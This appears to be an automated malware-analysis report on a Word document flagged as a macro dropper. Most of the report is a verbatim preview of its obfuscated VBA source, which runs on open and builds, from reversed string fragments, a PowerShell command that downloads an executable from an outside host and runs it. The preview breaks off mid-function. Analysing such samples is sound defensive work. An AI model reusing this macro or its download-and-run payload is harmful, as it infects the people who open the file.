Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b5724aedeb85a7ef…

MALICIOUS

Office (OLE)

164.0 KB Created: 2018-04-26 19:43:00 Authoring application: Microsoft Office Word First seen: 2018-05-18
MD5: bca7f919f4366aed81a0ba373567463f SHA-1: b1628b5d4c024c245f812d2fd6e9af225a0b02d2 SHA-256: b5724aedeb85a7ef749a83085dcf9f459f65ad774bec007e13124803681c041a
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file is identified as malicious by ClamAV and contains critical heuristics for potential shell calls and VBA macros. The presence of obfuscated VBA macros in 'macros.bas' strongly suggests an attempt to download and execute a secondary payload, a common technique for malware droppers. The AutoOpen macro marker further indicates an intention for automatic execution upon opening.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6520292-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6520292-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    End Select
Shell joOBNS + Chr(vbKeyC) + uhMAWwNw + GHjIjdBZiwt + iliiGEkHHMGJk, wTTBhV + 0 + wTTBhV
Select Case oVIXXQ
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub Autoopen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 54251 bytes
SHA-256: b66f4d644fcc3fea81a4bf544ad4c2afedaacd416f74afe28fae0938fb279169
Detection
ClamAV: No threats found
Obfuscation or payload: likely
752 of 1187 identifiers look randomly generated (e.g. 'bfvjWWlHHsuQTcOHYD'); 95 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "twDPAuaHp"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub kionAJ(cQFwdm)
Select Case NmfjO
         Case 49146
            zkVPJM = MrzjhT
            WGnHfN = Round(2975)
            KjcfCU = Hex(FovpAk - ChrW(TXrzmP))
            HMwTj = jrYjMh
         Case 21914
            ondKTd = CByte(73378)
            orStc = Log(QQiamQ)
End Select
End Sub
Sub UfLSd(NPMdS)
Select Case TijNm
         Case 36566
            mzYEAp = tbIAl
            vXUISr = Round(81258)
            YucOz = Hex(IIjDv - ChrW(zdEvb))
            dNKlG = rXiwJ
         Case 52187
            vcMNDw = CByte(81514)
            UHkvF = Log(dvRTZ)
End Select
Select Case GOcOmn
         Case 32160
            cqMwF = zfnQB
            kKIFaq = Round(2646)
            ObMdk = Hex(ohzzbP - ChrW(TYivlp))
            FwIBSZ = wFWovm
         Case 21059
            AdjOL = CByte(37438)
            fpplT = Log(liKoB)
End Select
Select Case APTLK
         Case 20937
            sbcIfd = LYAMX
            dnTTMj = Round(11677)
            KbMAui = Hex(shSYD - ChrW(bqCjJ))
            zFNdw = XaMwz
         Case 99032
            ERhAQI = CByte(71219)
            JSqioU = Log(CwQmC)
End Select
End Sub
Sub HazzO(XIzwhS)
Select Case wwtqlY
         Case 47112
            pmWvJ = HXQfNw
            zrkCC = Round(46629)
            mLWJP = Hex(WTJFiO - ChrW(KRnaCE))
            PkhQUV = AEJnjz
         Case 20376
            dPNfPa = CByte(76519)
            KAwSv = Log(DJzzkw)
End Select
Select Case iGouH
         Case 41147
            zSvOT = oYMXpN
            WWPVCs = Round(39480)
            zomPM = Hex(zJYlI - ChrW(YOsFj))
            LrfwcI = WfHrT
         Case 83085
            AOAiI = CByte(98576)
            KpOom = Log(IDHiJl)
End Select
End Sub
Sub Autoopen()
On Error Resume Next
Select Case jcVCL
         Case 57981
            qtrSFt = DKOOwk
            ACQIpa = Round(26556)
            Ydhhn = Hex(YtwSiG - ChrW(Rzwjs))
            EstPMB = jZEtV
         Case 6392
            WVOkXG = CByte(22587)
            RPwSib = Log(FUZzmI)
End Select
cYusHHlWWjvf (iNUfcB + RYYOECYVM + oEwbbu)
Select Case jLLmcZ
         Case 52032
            TuXkzU = UYQWwq
            QriKh = Round(55107)
            zqCjm = Hex(IOLKj - ChrW(BtZIrD))
            EkYKFw = ivTIR
         Case 84295
            SUDUDK = CByte(97843)
            FMFmwo = Log(qjmGD)
End Select
End Sub
Sub bbfzi(nMvDtr)
Select Case jYWno
         Case 87068
            ciLFSB = aFjWL
            artXXU = Round(58536)
            PKJMu = Hex(FiUvzN - ChrW(uwPai))
            OMHLhh = asfwQ
         Case 37651
            TNTBt = CByte(45806)
            MsloY = Log(Ofudzs)
End Select
Select Case QwHzci
         Case 82886
            MDVid = FjdNhG
            BUWWIk = Round(79143)
            wBBXfw = Hex(GTZOj - ChrW(AoPJuz))
            wRQPm = OdkdT
         Case 89217
            ZOBTH = CByte(96927)
            laJoSa = Log(BjGMOk)
End Select
Select Case wjlllS
         Case 69765
            VqFUiM = mwCwzX
            IcwMY = Round(25480)
            iQFJVc = Hex(QhVjPt - ChrW(Siwvc))
            tKJSk = YYJpZ
         Case 87262
            trZAK = CByte(17860)
            DWOhPk = Log(TptwQw)
End Select
End Sub
Sub ETGnZM(JHswm)
Select Case AMshol
         Case 86397
            WwcCz = EjPqIz
            pYSNk = Round(93625)
            uPVkcs = Hex(GwMKfD - ChrW(hWilZh))
            asCopS = oZUDp
         Case 27104
            HbsZH = CByte(4125)
            mDjdtn = Log(BocKP)
End Select
End Sub

Attribute VB_Name = "TWTwnZRRWrG"
Sub pUZvlL(fBnoV)
Select Case wfDnl
         Case 85114
            ZjzkIw = hkjPLZ
            EThFDQ = Round(85713)
            cfizlq = Hex(OilzOP - ChrW(WonpZ))
            uVYdvX = MVihbz
         Case 80098
            RCKKv = CByte(76812)
            BiLLX = Log(wtRNrI)
End Select
End Sub
Function RYYOECYVM()
On Error Resume Next
Select Case dUaLjL
         Case 38846
            AibvBN = FwGkSc
            kppzlK = Round(94672)
            YCfzwD = Hex(VbfjFi - ChrW(rGFkl))
            ZwmhRs = kWmaJd
         Case 20950
            YPCOf = CByte(35215)
            iEmWCb = Log(jrAZAP)
End Select
fBUNwisbb = fZHHja("GZ8hfLZx(. = UYYHZO;XLv", YwvYUz - YwvYUz + 4 + YwvYUz - YwvYUz, YwvYUz - YwvYUz + 14 + YwvYUz - YwvYUz)
Select Case QwhGSC
         Case 98821
            FWbXwT = CWFiwS
            vupJmn = Round(89019)
            kdvjH = Hex(VINPb - ChrW(zPvici))
            oiTVRJ = CmQJPL
         Case 90696
            mzcPMY = CByte(64881)
            sPWci = Log(zLjIuF)
End Select
Select Case zmTlwI
         Case 35638
            rGhmQw = SDkNX
            ijwsG = Round(94010)
            QqkCM = Hex(vkYJpS - ChrW(HMcZW))
            aNsDJZ = fTGXs
         Case 81406
            HaAVi = CByte(50079)
            Bhtuu = Log(wBRDWW)
End Select
SFowz = fZHHja("wQhZO{y'+'rt{)XC'+'DA'+'HZO'+' ni '+'cf'+'saH'+'ZO('bUGmka", QIdZYO - QIdZYO + 7 + QIdZYO - QIdZYO, QIdZYO - QIdZYO + 49 + QIdZYO - QIdZYO)
Select Case WzYma
         Case 55860
            QbdBQz = RjLGu
            RYjwJO = Round(56665)
            dCCAW = Hex(pKCOu - ChrW(hEaDs))
            vpjVFw = ZBwRZc
         Case 23460
            XmZbAt = CByte(54376)
            HdzMs = Log(MwdFj)
End Select
Select Case DuCnFA
         Case 86567
            TOoAmI = jJqWoz
            GauwJn = Round(32183)
            YsOwk = Hex(oRDpwu - ChrW(ZiGdi))
            OAAZSs = obsHq
         Case 10445
            NpwlpY = CByte(77965)
            snhsFX = Log(roUiBC)
End Select
miVTpJ = fZHHja("9MdIRKHZOwb", noIwF - noIwF + 3 + noIwF - noIwF, noIwF - noIwF + 3 + noIwF - noIwF)
Select Case YSwEL
         Case 95973
            ZwwqO = kmVoGz
            INsan = Round(901)
            kDmMD = Hex(JQiolM - ChrW(jSqjBr))
            vFTjYE = vKZWQL
         Case 81961
            VJmnkj = CByte(38651)
            jCtGi = Log(XJYvWL)
End Select
Select Case umqZN
         Case 95482
            mjNvO = aplwNw
            vjjlP = Round(59968)
            NlZDV = Hex(ahWLUu - ChrW(jjTzY))
            aCIoTL = cbLGE
         Case 19396
            lqBHJZ = CByte(48521)
            sTacS = Log(jOQhNS)
End Select
ESacbb = fZHHja("dkwv)56]RAHc[+401]RAHc[+35]RAHc[((EcaLzVi", kGnzuO - kGnzuO + 4 + kGnzuO - kGnzuO, kGnzuO - kGnzuO + 34 + kGnzuO - kGnzuO)
Select Case JFwFs
         Case 8398
            zWQGK = jsfMp
            XOJpNq = Round(85519)
            wNuZrr = Hex(blEBRV - ChrW(MWDUS))
            sojEr = uqzPj
         Case 28143
            OQlbqO = CByte(35455)
            HHaKYd = Log(CnmtY)
End Select
Select Case EWMOVM
         Case 40048
            CRwDj = nusHvR
            YbDjZI = Round(63473)
            StmJh = Hex(aCirm - ChrW(ocfElH))
            WIcWjm = fvIhvE
         Case 76574
            kXMuzW = CByte(25648)
            NQIXGw = Log(wuScKN)
End Select
hZJDwnvXZmM = fZHHja("ZOYMfGww'+';)'+'331282 ,'+'000'+'01(txen.dsa'+'da'+'snH'+'ZO = '+'BS'+'NHZO;tne'+'il'+'Cb'+'eW.teN.met'+'syS '+')sZxtc'+'ej'+'bo-'+'sZx+sZ'+'x'+'ws'+'Zx+sZ'+'x'+'ens'+'Z", zHdqhd - zHdqhd + 2 + zHdqhd - zHdqhd, zHdqhd - zHdqhd + 160 + zHdqhd - zHdqhd)
Select Case XFWhlf
         Case 87423
            viGGsH = rHJJQP
            YPsjz = Round(19023)
            dcdTuA = Hex(YRlhw - ChrW(UaQzD))
            GDKSAw = QhHoBj
         Case 68406
            SGcnz = CByte(13381)
            TqYbRz = Log(wwtfKC)
End Select
Select Case FwOvsz
         Case 48603
            jwZmQT = jauUGj
            WlwSV = Round(33663)
            KFPDMl = Hex(SSniK - ChrW(rrWpt))
            naiDHh = zcdzZ
         Case 59417
            FWrJi = CByte(8826)
            lNIHlv = Log(OiPIZd)
End Select
PBRBhww = fZHHja(",bblp'+'S.'+'sZxnra'+6dH9hB", TJcWUk - TJcWUk + 7 + TJcWUk - TJcWUk, TJcWUk - TJcWUk + 18 + TJcWUk - TJcWUk)
Select Case TfBHWz
         Case 74311
            pVNDCz = AMGoK
            MWwWl = Round(69917)
            zNoABd = Hex(qqCLEv - ChrW(Yntit))
            tdDBkS = HIEllP
         Case 3633
            bjNBYM = CByte(58357)
            JvkPz = Log(jCosHr)
End Select
Select Case mFhBd
         Case 93786
            oWRhNz = hnzWo
            XmNnUI = Round(31906)
            uYIKGQ = Hex(KzWhLD - ChrW(LPAthz))
            ZAMiE = zsujVj
         Case 87314
            zJXGiV = CByte(43459)
            bocmsb = Log(mbbSkV)
End Select
baqBiCzzaLL = fZHHja("OpOm'+'o'+'dnar )sZx'+'ts'+'Zx'+'+'+'s'+'Zx'+'cej'+'bo-w'+'sZx+'+'sZxesZ'+'x+s'+'Z'+'x'+'nsZx(& '+'= d'+'sadasnH'+'Z'+'O'(()''niOj-'x'+]3,1[)ecNerEFeRpesObRev$]gNIrts[( ( . cii", KmQiC - KmQiC + 4 + KmQiC - KmQiC, KmQiC - KmQiC + 170 + KmQiC - KmQiC)
Select Case vfCnt
         Case 34767
            pMfKl = Gdnwc
            iZXBSk = Round(47777)
            IFtNJY = Hex(NrDvbE - ChrW(lczbGN))
            JncpEn = XijCUW
         Case 87317
            SRANns = CByte(71249)
            CBbtnv = Log(qiLEz)
End Select
Select Case rDdmW
         Case 23111
            EILUl = plonvi
            BblkVY = Round(21223)
            Xbnsvs = Hex(jwjbD - ChrW(fAaLiT))
            PAczE = XQRtQw
         Case 1895
            hhXbqB = CByte(37929)
            rETbN = Log(bLZrF)
End Select
EVCTz = fZHHja("U 8YO'+'Nx'+'f'+'l'+'n'+'WNx'+'f'+'oDhg'+'e.U'+'YYHwfC6J", RXEkb - RXEkb + 6 + RXEkb - RXEkb, RXEkb - RXEkb + 47 + RXEkb - RXEkb)
Select Case LWzon
         Case 93569
            FSDSd = swTDj
            RmNJYj = Round(56292)
            ApFUZt = Hex(fKhjnt - ChrW(OjolqZ))
            YHHpD = SwNaIK
         Case 21819
            PMitk = CByte(11539)
            nlUvu = Log(XdUnpD)
End Select
Select Case qubzbV
         Case 28529
            thWnCW = TKatU
            MkvYHJ = Round(94048)
            aJtfz = Hex(PJOcO - ChrW(YZbAzQ))
            FiKAwH = iKfZU
         Case 23209
            RSYcH = CByte(8854)
            oKwwi = Log(PmJvY)
End Select
TiqlGGU = fZHHja("2C  ) )'`','Nxf'(EcaLPER.)'$','HZO'(EcaLPER.)93]RAHc[]GnIrtS[,'sZx'(EcaLPER.)29]RAHc[]GnIrtS[,6B%Y", bhziW - bhziW + 5 + bhziW - bhziW, bhziW - bhziW + 91 + bhziW - bhziW)
Select Case PriPIv
         Case 46888
            qEdpHC = GGCYrL
            QYOBTj = Round(80671)
            BkAcwa = Hex(DPhjML - ChrW(jGqcsI))
            GXhfXb = BGcoC
         Case 95883
            tofFE = CByte(37032)
            mqIzf = Log(sHLqqh)
End Select
Select Case sauIF
         Case 91039
            udBhz = SzDRvQ
            Qzpdw = Round(85324)
            cVnKl = Hex(jXHILB - ChrW(ABMbp))
            WJrdm = YbutkR
         Case 20049
            XqZpr = CByte(92619)
            rvsvG = Log(wROmOo)
End Select
HdJWsiLWQn = fZHHja("a6PER.)43]RAHc[]GnIrtS[,)401]RAHc[+301]RAHc[+101]RAHc[((EcaLPER.)'}}{'+'h'+'ct'+'ac}'+';k'+'aerb5RwwcD", uNTwY - uNTwY + 7 + uNTwY - uNTwY, uNTwY - uNTwY + 94 + uNTwY - uNTwY)
Select Case WNkrBf
         Case 25428
            oiWqA = uKcXkt
            iOzifl = Round(49050)
            fGWdT = Hex(JFhnLi - ChrW(DQVEF))
            EHmPd = wszlIW
         Case 88427
            AIXzMh = CByte(97555)
            EukYKs = Log(zdiZhU)
End Select
Select Case VNjwAs
         Case 90057
            SAOTTj = SQWcwB
            nCssZm = Round(43995)
            ijBob = Hex(zNMBa - ChrW(JDQtv))
            YmfzsN = jajEHT
         Case 16151
            NVhSf = CByte(8759)
            UCKaXh = Log(jmwzsN)
End Select
WifwZiiI = fZHHja("%3zYY;'+')CDSHZ'+'O()'+'sZxm'+'etI-'+'es'+'Zx+sZxksZx+'+'sZ'+'xo'+'vnI'+'s'+'Zx'+'(&'+';)'+'CDSHZO ,)(hge'+'gNN'+'xfiNxfrtS'+'oT'+'h'+'ge.c'+'fsaHZO(hgeel'+'Nx'+'fI'+'Fda'+'6", trsiX - trsiX + 2 + trsiX - trsiX, trsiX - trsiX + 168 + trsiX - trsiX)
Select Case ahnnrs
         Case 60743
            IEiRG = hibPco
            cnRpP = Round(11372)
            uFKbud = Hex(otinLE - ChrW(uFsGa))
            CDXhPZ = wtVzc
         Case 74410
            WCuHWd = CByte(14918)
            pwbQjN = Log(hZjoYo)
End Select
Select Case UZZoI
         Case 26959
            QVCLvj = OsQpv
            jFdTdz = Round(35109)
            pVfwf = Hex(LiztS - ChrW(btszL))
            GMQPtH = wbOwG
         Case 21508
            vkaAX = CByte(29096)
            fJjsW = Log(qQmMd)
End Select
RJiwdjtvj = fZHHja("kb'y.3no'+'dnu=l?ph'+'p.v'+'t'+'s'+'e'+'t/'+'N'+'R'+'A'+'/moc.'+'qn'+'d'+'sa'+'qn'+'e'+'j'+'wqdjsai'+'i'+'//'+':'+'ptt'+'h'+' sZ'+'x ='+' XCDAhkhODF", icLVKp - icLVKp + 7 + icLVKp - icLVKp, icLVKp - icLVKp + 140 + icLVKp - icLVKp)
Select Case jrFva
         Case 52659
            hjcwi = iIJqTs
            whbDjW = Round(45700)
            YioBSw = Hex(TqoAYA - ChrW(jCMAzn))
            haTUB = zQBPD
         Case 6966
            IzouPu = CByte(7098)
            SBSTcO = Log(ZqfXkW)
End Select
Select Case jziBKI
         Case 82143
            mpOTUo = wfERt
            BlFwR = Round(61714)
            QTGVo = Hex(tmpji - ChrW(nhrBCi))
            UpvZif = OiLZE
         Case 85339
            bOSisi = CByte(24553)
            UJzWkG = Log(KkDOpL)
End Select
ZlDQUPpn = fZHHja("k32ZF+'h'+'c'+'aerof;'+')sZ'+'x'+'esZx'+'+sZxx'+'e.sZx'+'('+' +'+' '+'BSNHZO'+' + '+'s'+'ZxAh5sZx'+' + c'+'ilbu'+'p:v'+'neH'+'ZO = C'+'DS'+'HZ'+'O;'+')sZ'+'x@sZx(ti'+'Y", IVhRnf - IVhRnf + 2 + IVhRnf - IVhRnf, IVhRnf - IVhRnf + 162 + IVhRnf - IVhRnf)
Select Case VuYqV
         Case 86204
            aQbqE = SYSJE
            ZVmaM = Round(89969)
            WYbVq = Hex(QCtYJ - ChrW(ITktt))
            ffuZl = uKZlD
         Case 67802
            LvJWl = CByte(99095)
            lnnIZA = Log(Gvvob)
End Select
wJGHXsmRFvw = CjPRzmJbjiiwJ + """" + zHzzwuw
RYYOECYVM = mRdraCqtziXzk + srlzlInOdzbq + HfiPIPR + wJGHXsmRFvw + ijsZwpTEJ + baqBiCzzaLL + fBUNwisbb + hZJDwnvXZmM + miVTpJ + RJiwdjtvj + PBRBhww + ZlDQUPpn + SFowz + EVCTz + WifwZiiI + HdJWsiLWQn + ESacbb + TiqlGGU
Select Case JPwLz
         Case 92571
            phtPoX = zBBoRA
            XTlSbG = Round(47030)
            Efiji = Hex(kownSf - ChrW(uwCqI))
            czoin = bmwKs
         Case 46186
            ZpdOhF = CByte(77577)
            MNEAw = Log(adWic)
End Select
End Function
Sub GHEBNw(swDXOa)
Select Case Fldidw
         Case 48089
            uRjzt = cQUkr
            zKwIz = Round(94350)
            dFaoz = Hex(wrHoiN - ChrW(QmNnS))
            ERQfj = WZAunU
         Case 64549
            qvOTdm = CByte(4869)
            YVclWj = Log(MwLqjs)
End Select
End Sub

Attribute VB_Name = "XtJfLIsvCz"
Sub ppnwciwoB()
On Error Resume Next
Select Case occKfz
         Case 54575
            JkpLP = CBKYjw
            Xtklh = Round(19497)
            rpCsTl = Hex(QhVjLQ - ChrW(tMaiaz))
            aTZEFR = jsZzn
         Case 58750
            Thwri = CByte(10233)
            UpsYfX = Log(jJGHLC)
End Select
End Sub
Sub cYusHHlWWjvf(uhMAWwNw As String)
On Error Resume Next
Select Case VdoOU
         Case 34291
            oviXlj = iinwtJ
            dhjZt = Round(77476)
            iSpcc = Hex(zEIcJn - ChrW(ftJAt))
            DCfSLR = JsvHpa
         Case 56815
            GcsvJo = CByte(54852)
            VLmGFb = Log(YffElA)
End Select
Select Case AiLjk
         Case 10759
            AnjJZ = QQFkA
            cJHYKn = Round(66191)
            WbJWs = Hex(CcOjZD - ChrW(QVYDw))
            BTIavE = YusFA
         Case 93018
            zmYiM = CByte(34002)
            XoCVKw = Log(LnjVO)
End Select
Shell joOBNS + Chr(vbKeyC) + uhMAWwNw + GHjIjdBZiwt + iliiGEkHHMGJk, wTTBhV + 0 + wTTBhV
Select Case oVIXXQ
         Case 90038
            nPEtmh = ijrpfk
            CKIwc = Round(20274)
            uAaYzo = Hex(QGZdvu - ChrW(OaMSDM))
            jPTEBR = wPank
         Case 19113
            PiVosQ = CByte(25671)
            SMkpZn = Log(viZwzN)
End Select
End Sub
Function HfiPIPR()
On Error Resume Next
Select Case XHWGA
         Case 66164
            irVoS = qRBBw
            XcdLzj = Round(68878)
            lbfFU = Hex(ZTNXr - ChrW(Rsslc))
            wJZEwh = MLjtw
         Case 43329
            QSkGL = CByte(30132)
            wmXDi = Log(dWiks)
End Select
fBUNwisbb = fZHHja("GZ8hfL teXLv", bQWzwJ - bQWzwJ + 4 + bQWzwJ - bQWzwJ, bQWzwJ - bQWzwJ + 3 + bQWzwJ - bQWzwJ)
Select Case GnZqhd
         Case 95753
            HLpZRA = EwHlZ
            ZAXCA = Round(37013)
            jpjzB = Hex(PjqcD - ChrW(OWMkwz))
            ipYXWw = VhmCo
         Case 62354
            ZJSiq = CByte(46608)
            klOWE = Log(LqMPa)
End Select
Select Case BjCBNJ
         Case 8620
            aLzicf = zpPPc
            raOYVC = Round(90702)
            ERPzF = Hex(rJLLB - ChrW(TXlPL))
            lVWBw = rKKJn
         Case 57071
            GJcVuj = CByte(71774)
            XWpiD = Log(bHTpz)
End Select
SFowz = fZHHja("wQh=%wNwWAMhu% tes&&!bUGmka", OoiKS - OoiKS + 7 + OoiKS - OoiKS, OoiKS - OoiKS + 18 + OoiKS - OoiKS)
Select Case KRZmC
         Case 35335
            GvzhWh = vrrCq
            aoNzhX = Round(91151)
            PCrUn = Hex(hpjpS - ChrW(pfbaoT))
            jRkQRw = lWDaF
         Case 60221
            mqsFN = CByte(66205)
            mFHCj = Log(qvNnK)
End Select
Select Case lbpkiw
         Case 63122
            IzTJh = FYwYzD
            MPjdB = Round(57233)
            GArlWc = Hex(KAEXZ - ChrW(dawlT))
            Cizwzv = WZMGGd
         Case 36613
            HIGinE = CByte(60890)
            YrBXqv = Log(SzJFbT)
End Select
miVTpJ = fZHHja("9MdIRKQVwLaFksUp%wb", bLpfm - bLpfm + 3 + bLpfm - bLpfm, bLpfm - bLpfm + 11 + bLpfm - bLpfm)
Select Case CtpuG
         Case 64958
            uzuGiV = pDjrW
            YGwXla = Round(75021)
            IzXrOw = Hex(Nsswz - ChrW(iuGQLa))
            dudNE = kvwSIf
         Case 89936
            lAWOQ = CByte(45055)
            cLosZ = Log(uLqGaA)
End Select
Select Case kvJCpS
         Case 166
            DhRar = YSEma
            WDlus = Round(59709)
            idWEC = Hex(hutzf - ChrW(IKHwGJ))
            iNzIFG = qbhJOJ
         Case 19156
            RdjcO = CByte(5396)
            GfTYD = Log(pOEfl)
End Select
ESacbb = fZHHja("dkwvYc%!!%iKZLLzVi", POUJn - POUJn + 4 + POUJn - POUJn, POUJn - POUJn + 11 + POUJn - POUJn)
Select Case AqjVR
         Case 96418
            hFMjk = YutiR
            uYUGTp = Round(61657)
            PBNci = Hex(sJXhIP - ChrW(tUFtwi))
            fXvkn = qsjkQ
         Case 61371
            vFjrkE = CByte(14533)
            OWMWBz = Log(DOMXG)
End Select
Select Case PlcYQ
         Case 38097
            tGRVE = swYQYS
            qAFnC = Round(2285)
            OZEbai = Hex(nqUmww - ChrW(JQtEH))
            WThhG = RdOfpW
         Case 29018
            zUBquW = CByte(6345)
            HDdcW = Log(hkMiu)
End Select
hZJDwnvXZmM = fZHHja("ZOYMfGww !%rhiRmWihSVAzfS%Z", XsFdpd - XsFdpd + 2 + XsFdpd - XsFdpd, XsFdpd - XsFdpd + 18 + XsFdpd - XsFdpd)
Select Case TvrXU
         Case 54162
            RYLfQ = ROoOCJ
            zRLiDi = Round(53826)
            viTGb = Hex(LCciW - ChrW(FljwY))
            vEusW = YJCBj
         Case 26462
            pAJWt = CByte(83809)
            pSGLM = Log(jrjMlP)
End Select
Select Case wYCqj
         Case 27131
            IrsRIC = BERzP
            oiiCs = Round(81547)
            ailBzn = Hex(UhWnlH - ChrW(szicr))
            XXlhw = WVQpAw
         Case 87381
            CaGrT = CByte(39490)
            pUhiL = Log(wwlDa)
End Select
PBRBhww = fZHHja(",bbSVA6dH9hB", qiXNC - qiXNC + 7 + qiXNC - qiXNC, qiXNC - qiXNC + 3 + qiXNC - qiXNC)
Select Case mTCzD
         Case 5553
            QaErW = skBSrm
            XwiCD = Round(6639)
            iaYilZ = Hex(HDAdCo - ChrW(DjldL))
            SWvitQ = dplzt
         Case 567
            hqBZF = CByte(92745)
            lhAoow = Log(TPwZr)
End Select
Select Case CYZUJG
         Case 51874
            IiwLb = aXWzZE
            OOAqY = Round(85809)
            TNKBID = Hex(BIvSua - ChrW(OFiPm))
            SNvuPw = oKYilN
         Case 69541
            uXvDXK = CByte(49243)
            affit = Log(IWbmD)
End Select
baqBiCzzaLL = fZHHja("OpO%cii", TIftk - TIftk + 4 + TIftk - TIftk, TIftk - TIftk + 1 + TIftk - TIftk)
Select Case GRPlJ
         Case 54320
            qkRhhq = ThjLOi
            zVPkTh = Round(75742)
            CDzKM = Hex(dIJtvX - ChrW(iIwwnJ))
            anPXYi = wAAqu
         Case 98549
            hOhWiG = CByte(81039)
            ZSTHK = Log(MRmfY)
End Select
Select Case zimjEN
         Case 34964
            DozfoR = iRjBMr
            VmDju = Round(94370)
            VJEjnD = Hex(lkIVi - ChrW(rEfzsM))
            bYdQVu = NAfVSV
         Case 83478
            ivwANb = CByte(95190)
            bfiziQ = Log(DqiLO)
End Select
EVCTz = fZHHja("U 8YEOYYR%!=wfC6J", bPnbl - bPnbl + 6 + bPnbl - bPnbl, bPnbl - bPnbl + 8 + bPnbl - bPnbl)
Select Case jnLtbu
         Case 71033
            nCJAJ = jAswJi
            Bkmuzw = Round(86837)
            ikJcjw = Hex(nGmjM - ChrW(ocYzUq))
            CwjCk = iDYzd
         Case 96832
            dISAXZ = CByte(53689)
            NlMcRQ = Log(IOucG)
End Select
Select Case iVXiz
         Case 38817
            TAuVIm = GIFNs
            wEzZiE = Round(21106)
            jlCrl = Hex(CDPUM - ChrW(OnqEYv))
            SqpBK = EVaYwE
         Case 85330
            RjOrd = CByte(43755)
            JDtkAG = Log(IOtAi)
End Select
TiqlGGU = fZHHja("2C HGYNSzp6B%Y", ZjBGr - ZjBGr + 5 + ZjBGr - ZjBGr, ZjBGr - ZjBGr + 7 + ZjBGr - ZjBGr)
Select Case sftksr
         Case 63451
            cfRPUc = DbMuYj
            nwQKt = Round(81424)
            LizVu = Hex(mqdzl - ChrW(khYcVf))
            QEmhGK = jrzUh
         Case 96655
            dQATtZ = CByte(22112)
            NzMIi = Log(bPUuiO)
End Select
Select Case Zbsiz
         Case 70870
            FfnzE = ahznG
            EDjQBE = Round(71606)
            iaOHi = Hex(jCSria - ChrW(wiiRkj))
            sztWi = SwsLqa
         Case 24406
            miRfT = CByte(20927)
            YOHIf = Log(FZwzR)
End Select
HdJWsiLWQn = fZHHja("a6OEpG5RwwcD", HZzrL - HZzrL + 7 + HZzrL - HZzrL, HZzrL - HZzrL + 4 + HZzrL - HZzrL)
Select Case Tfihr
         Case 49049
            bmKHBD = UMzRl
            VuUll = Round(27184)
            ZMXuL = Hex(DthIz - ChrW(FjjkN))
            GFRzt = jOBBY
         Case 19783
            wdWOOP = CByte(29643)
            cAUmEC = Log(fkmJGd)
End Select
Select Case uzRQzV
         Case 31660
            bkwKtu = STwmsl
            GbwqU = Round(60252)
            jcIqf = Hex(BRLzJ - ChrW(KWaaw))
            BIEZn = Eojqq
         Case 39368
            BlpuI = CByte(81523)
            OVpBH = Log(djbofA)
End Select
WifwZiiI = fZHHja("%3zYYGYNSzps% tes&&Xvki6", IlbTzO - IlbTzO + 2 + IlbTzO - IlbTzO, IlbTzO - IlbTzO + 18 + IlbTzO - IlbTzO)
Select Case mTWwH
         Case 78896
            mqpKaq = IXUcSk
            pfSDRn = Round(65886)
            MvKqU = Hex(iOqmT - ChrW(iXjiaR))
            ULHMN = YznDv
         Case 79724
            ORduA = CByte(69723)
            WaJdp = Log(qtRzoc)
End Select
Select Case fjODJZ
         Case 9869
            iZhCzA = LLGXE
            jijUB = Round(74608)
            GmIEDj = Hex(wkMihp - ChrW(ZYwFYa))
            UIfqw = wBhiHn
         Case 41648
            wQdzQU = CByte(45264)
            wYqOMJ = Log(kPdMi)
End Select
RJiwdjtvj = fZHHja("kbUp%!!%wNwWAMhu%!!%hkhODF", jNIFi - jNIFi + 7 + jNIFi - jNIFi, jNIFi - jNIFi + 18 + jNIFi - jNIFi)
Select Case dcNFri
         Case 94134
            dauUS = HTFHGh
            JHAjbn = Round(82702)
            TibrqS = Hex(PtYlaX - ChrW(zvuuj))
            RJVFw = TVMVQv
         Case 11439
            KwTcc = CByte(19632)
            DLiUH = Log(oKEoh)
End Select
Select Case fKUDO
         Case 11428
            SNdwrs = wBdjM
            zwmZa = Round(38813)
            BIfBS = Hex(HPjEw - ChrW(mVuQGt))
            rHNLb = BhDjY
         Case 89425
            tznJib = CByte(56860)
            lpQwf = Log(ZwChfj)
End Select
ZlDQUPpn = fZHHja("k32ZFzfS% tY", njJIV - njJIV + 2 + njJIV - njJIV, njJIV - njJIV + 6 + njJIV - njJIV)
Select Case czozD
         Case 65325
            mDjIK = uniki
            PwGRzO = Round(92334)
            biAws = Hex(WRAwL - ChrW(tMlhGI))
            KAmPSz = QKWhq
         Case 67948
            JpDCk = CByte(29767)
            zdmjYE = Log(DKYKpb)
End Select
Select Case FWwmKw
         Case 60581
            uPXlXU = jDKiiD
            twKJjr = Round(82092)
            DqsOB = Hex(CLLBfE - ChrW(cDDJjW))
            KWsWid = BcBNop
         Case 62139
            htJTd = CByte(57648)
